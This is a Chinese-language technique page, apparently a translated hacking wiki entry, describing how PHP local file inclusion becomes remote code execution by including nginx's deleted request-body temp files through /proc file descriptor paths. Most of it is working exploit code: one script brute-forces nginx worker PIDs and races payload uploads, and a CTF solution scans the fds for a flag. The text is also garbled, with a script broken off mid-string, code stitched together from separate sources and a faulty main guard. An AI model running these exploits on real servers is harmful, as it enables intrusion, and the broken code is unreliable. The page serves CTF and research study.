LFI2RCE via Nginx temp files

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可利用的配置

**来自https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**的示例

  • PHP代码:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` 注意:在此示例中,不能直接包含`/proc/34/fd/15`,因为PHP的`include`函数会将路径解析为`/var/lib/nginx/body/0000001368 (deleted)`,而该路径在文件系统中不存在。幸运的是,可以通过一些间接方式绕过这个小限制,比如:`/proc/self/fd/34/../../../34/fd/15`,最终将执行已删除的`/var/lib/nginx/body/0000001368`文件的内容。 ## 完整利用 ```python #!/usr/bin/env python3 import sys, threading, requests # 利用nginx的客户端主体缓冲辅助进行PHP本地文件包含(LFI) # 详细信息请参阅https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # 查找nginx工作进程 r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # 上传一个大的客户端主体以强制nginx创建一个/var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session): # 使用所有 CPU 将 payload 作为请求体发送给 Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids): # 此方法从随机数量的 ProcFS 路径组件创建路径。生成的路径将类似于 /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): # 在循环中扫描 10 到 45 之间的 Nginx FD。由于文件和套接字保持关闭 - 请求体 FD 很常见在此范围内打开 for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if __name__ == "main": print('[DEBUG] 创建请求会话') requests_session = create_requests_session() print('[DEBUG] 获取 Nginx pid') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx pid: {nginx_pids}') print('[DEBUG] 开始发送 payload') send_payload_multiprocess(requests_session) print('[DEBUG] 开始 fd 读取器') read_file_multiprocess(requests_session, nginx_pids)

## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

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